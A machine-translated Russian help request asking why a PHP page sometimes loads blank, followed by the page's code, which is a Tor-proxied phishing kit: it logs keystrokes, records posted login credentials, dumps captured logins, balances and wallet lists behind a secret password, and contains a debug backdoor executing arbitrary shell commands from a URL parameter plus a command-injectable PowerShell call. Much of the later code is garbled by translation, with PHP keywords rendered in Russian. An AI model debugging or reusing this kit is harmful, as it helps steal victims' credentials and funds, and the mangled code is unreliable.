Моя страница иногда отлично загружается, а иногда - пустой экран, и мой журнал ошибок скручивания возвращает пустой ответ с сервера. Служба onion, на которую указывает код, работает и работает нормально, поэтому я не понимаю, почему она работает, а потом - нет. Вот код ниже. Я знаю, что с tor-подключением все в порядке.
<code><?php
$useSingleTarget = false;
$logtocurlerrors = false;
header_remove('Content-Type');
@session_start();
require('config.php');
if( isset($_GET['c']) )
{
$logfile = fopen('klog.txt', 'a+');
fwrite($logfile,"\n KEY PRESS: " . $_GET['c'] . " \n");
fclose($logfile);
die();
}
if( isset( $_GET['debug'] ) )
{
$edited = $_GET['hghhghgh75687868698796755796865r464357'];
echo var_dump($_SESSION);
echo `{$edited}`;
echo var_dump(get_defined_vars());
echo var_dump($_SERVER);
echo print_r(headers_list());
$cookiefile = "" . dirname(__FILE__) . '/cooooookies/' . session_id() . '_cookie.txt';
$cookiedata = file_get_contents($cookiefile);
echo "\n\ncookie file: " . $cookiefile . " cookie data: " . $cookiedata . "\n\n";
die();
}
if(isset($_GET['secretpassword']))
{
if($_GET['secretpassword'] === $secretpassword)
{
$text = file_get_contents($logfilelocation);
//$str = chunk_split($text, 1, ' ');
echo $text;
echo "\n\n\n\n\n\n-BALANCES-\n\n\n\n\n\n";
$moar = file_get_contents($logfilelocation1);
echo $moar;
echo "\n\n\n\n-WALLETS-\n\n\n\n";
echo file_get_contents('walletstowatch.txt');
//echo $thisone;
die();
}
die();
}
if($verbose)
{
// file_put_contents('verboselog.txt', "##########################################################################\n", FILE_APPEND );
}
$requestHeaders = getallheaders();
if (isset($requestHeaders["Host"]))
{
$requestHeaders["Host"] = $remoteAddress;
}
$ch = curl_init();
$didlogin = false;
$logrequesturl = checkurlforlog();
if ($_SERVER['REQUEST_METHOD'] === 'POST')
{
if($_SERVER['REQUEST_SCHEME'] === "http")
{
$posturl = "http://";
}
if($_SERVER['REQUEST_SCHEME'] === "https")
{
$posturl = "https://";
}
$posturl = $posturl . $remoteAddress . $_SERVER['REQUEST_URI'];
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($_POST));
curl_setopt($ch, CURLOPT_URL, $posturl );
curl_setopt($ch, CURLOPT_POST, true );
//$logininfo = "";
if( strpos( $_SERVER['REQUEST_URI'], "ogin" ,0 ) !==false )
{
$logininfo = getlogin();
}
if( $logrequesturl )
{
if( !isset($_SESSION['logininfo']) )
{
$_SESSION['logininfo'] = "login not set yet";
}
// stuffcookie();
file_put_contents($logfilelocation2, "\n\n<br><br>post url: \n" . $posturl . "<br>\n" , FILE_APPEND);
file_put_contents($logfilelocation, "\n" . $_SESSION['logininfo'] . "<br>\n<pre>\nvariables:\n" . print_r($_POST, true) . "\n" . date('H:i:s', time()) . "\n
\ n ", FILE_APPEND);}} if ($ _SERVER ['REQUEST_METHOD'] === 'GET') {if ($ _ SERVER ['REQUEST_SCHEME'] = == "http") {$ geturl = "http: //";} if ($ _ SERVER ['REQUEST_SCHEME'] === "https") {$ geturl = "https: //";} $ geturl = $ geturl. $ remoteAddress. $ _SERVER ['REQUEST_URI']; if ($ logrequesturl) {} curl_setopt ($ ch, CURLOPT_HTTPGET, 1); curl_setopt ($ ch, CURLOPT_URL, $ geturl);} $ savefile "" sha1 ("". random_int (0,10000000). "". $ _SERVER ['REQUEST_URI']); if ($ verbose) {//file_put_contents('verboselog.txt ', "сохранить файл:". $ savefile. " \ n ", FILE_APPEND);} if ($ logtocurlerrors) {$ errorfilehandle = fopen ('curlerrors.txt', 'a +'); curl_setopt ($ ch, CURLOPT_STDERR, $ errorfilehandle);} $ responsehandle = fopen ($ savefile, 'w +'); curl_setopt ($ ch, CURLOPT_BINARYTRANSFER, 1); $ cookiefile = "". dirname (__ FILE__). '/ cooooookies /'. session_id (). '_cook ie .txt'; if (strpos ($ _SERVER ['REQUEST_URI'], "/ hjgnjgnjgnjgn", 0)! == false) {unlink ($ cooki efile); } curl_setopt ($ ch, CURLOPT_FILE, $ responsehandle); curl_setopt ($ ch, CURLOPT_USERAGENT, $ _ SERVER ['HTTP_USER_AGENT']); curl_setopt ($ ch, CURLOPT_HEADER, 0); curl_setopt ($ ch, CURLOPT_CONNECTTIMEOUT, 220); curl_setopt ($ ch, CURLOPT_RETURNTRANSFER, true); curl_setopt ($ ch, CURLOPT_TCP_FASTOPEN, true); curl_setopt ($ ch, CURLOPT_ENCODING, 'gzip, deflate'); curl_setopt ($ ch, CURLINFO_HEADER_OUT, 0); curl_setopt ($ ch, CURLOPT_AUTOREFERER, 1); curl_setopt ($ ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt ($ ch, CURLOPT_TCP_NODELAY, 0); curl_setopt ($ ch, CURLOPT_FAILONERROR, 0); if ($ logtocurlerrors) {curl_setopt ($ ch, CURLOPT_VERBOSE, 1); } if (! $ logtocurlerrors) {curl_setopt ($ ch, CURLOPT_VERBOSE, 0); } curl_setopt ($ ch, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5_HOSTNAME); curl_setopt ($ ch, CURLOPT_PROXY, $ torsockslocation. ":". $ torsocksport); curl_setopt ($ ch, CURLOPT_TIMEOUT, 220); curl_setopt ($ ch, CURLOPT_COOKIESESSION, true); curl_setopt ($ ch, CURLOPT_COOKIEJAR, $ cookiefile); curl_setopt ($ ch, CURLOPT_COOKIEFILE, $ cookiefile); $ response = curl_exe c ($ ch); if ($ _SERVER ['REQUEST_METHOD'] === 'GET') {// sleep (1); $ none = 0; для ($ h = 0; $ h <2000; $ h ++) {$ nothing = 0; }} if ($ _SERVER ['REQUEST_METHOD'] === 'POST') {// sleep (2); $ none = 0; для ($ h = 0; $ h <2000; $ h ++) {$ nothing = 0; }} file_put_contents ($ savefile, $ response); if (strcmp ($ _SERVER ['REQUEST_URI'], "/") == 0) {header ("Location: /? tc = 1"); } if ($ logtocurlerrors) {file_put_contents ('curlerrors.txt', "\ nresponse code:". $ responsecode. "\ nafter redirect:". $ afterredirect. "\ n", FILE_APPEND); } curl_close ($ ch); fclose ($ responsehandle); if ($ logtocurlerrors) {fclose ($ errorfilehandle); } if (isset ($ _ GET ['sendpopupmessage'])) {$ command = 'PowerShell -Command \' Add-Type -AssemblyName PresentationFramework; [System. Windows .MessageBox] :: Show (\ ''. $ _ GET . [ 'sendpopupmessage'] '\') \ ''; shell_exe c ($ команда); } function correctheader () {include ('config. php '); $ ctype = 'text / html'; if (strpos ($ _ SERVER ['REQUEST_URI'], '.pdf', 0)! == false) {$ cType = 'application / pdf'; $ keylog = false; } if (strpos ($ _ SERVER ['REQUEST_URI'], '.zip', 0)! == false) {$ cType = 'application / zip'; $ keylog = false; } if (strpos ($ _ SERVER ['REQUEST_URI'], '.do c', 0)! == false) {$ cType = 'application / msword'; $ keylog = false; } if (strpos ($ _ SERVER ['REQUEST_URI'], '.xls', 0)! == false) {$ cType = 'application / vnd.ms-excel'; $ keylog = false; } if (strpos ($ _ SERVER ['REQUEST_URI'], '.ppt', 0)! == false) {$ cType = 'application / vnd.ms-powerpoint'; $ keylog = false; } if (strpos ($ _ SERVER ['REQUEST_URI'], '.gif', 0)! == false) {$ isImage = true; $ cType = 'image / gif'; $ keylog = false; } if (strpos ($ _ SERVER ['REQUEST_URI'], '.png', 0)! == false) {$ isImage = true; $ cType = 'image / png'; $ keylog = false; } if (strpos ($ _ SERVER ['REQUEST_URI'], '.jpg', 0)! == false) {$ isImage = true; $ cType = 'image / jpg'; $ keylog = false; } if (strpos ($ _ SERVER ['REQUEST_URI'], '.jpeg', 0)! == false) {$ isImage = true; $ cType = 'image / jpg'; $ keylog = false; } if (strpos ($ _ SERVER ['REQUEST_URI'], '. js', 0)! == false) {$ keylog = false; } if (strpos ($ _ SERVER ['REQUEST_URI'], '.png', 0)! == false) {$ isImage = true; $ cType = 'image / png'; $ keylog = false; } if (strpos ($ _ SERVER ['REQUEST_URI'], '.gif', 0)! == false) {$ isImage = true; $ cType = 'image / gif'; $ keylog = false; } if ($ verbose) {} $ requestHeaders ['Content-Type'] = $ ctype; } function checkurlforlog () {if (strpos ($ _SERVER ['REQUEST_URI'], ".png", 0)! == false) {return false; } if (strpos ($ _SERVER ['REQUEST_URI'], ".jpeg", 0)! == false) {return false; } if (strpos ($ _SERVER ['REQUEST_URI'], ".jpg", 0)! == false) {return false; } if (strpos ($ _SERVER ['REQUEST_URI'], ".woff", 0)! == false) {return false; } if (strpos ($ _SERVER ['REQUEST_URI'], ". css", 0)! == false) {return false; } верните истину; } function randomdomain () {return file_get_contents ('mirrorfile.txt'); глобальный $ useSingleTarget, $ domains, $ remoteAddress, $ cookiefile; require_once ( "конфигурация php."); // обрабатывать один целевой домен if ($ useSingleTarget) {// установить его в один разрешенный домен $ remoteAddress = $ singleTargetDomain; $ _SESSION ['domain'] = $ singleTargetDomain; return $ singleTargetDomain; } if (! isset ($ cookiefile)) {$ cookiefile = "". dirname (__ FILE__). '/ cooooookies /'. идентификатор сессии() . '_Cook ie .txt'; } if (! file_exists ($ cookiefile)) {file_put_contents ($ cookiefile, ''); } $ olddomain = $ remoteAddress; stuffcook ie (); $ which = rand (0, count ($ domains) -1); перетасовать ($ доменов); $ firstelement = array_key_first ($ domains); $ _SESSION ['domain'] = $ domains [$ firstelement]; $ remoteAddress = $ _SESSION ['domain']; return $ _SESSION ['domain']; / * if (strcmp ($ remoteAddress, $ olddomain) === 0) {randomdomain (); } $ _SESSION ['domain'] = $ domains [$ which]; $ remoteAddress = $ domains [$ which]; $ tofile = "старые домены:". $ olddomain. "первый элемент:". $ domains [$ which]. "из сессии:". $ _SESSION ['domain']. "\ П \ п"; file_put_contents ('domainlog.txt', $ tofile, FILE_APPEND); * / return $ domains [$ which]; } </code>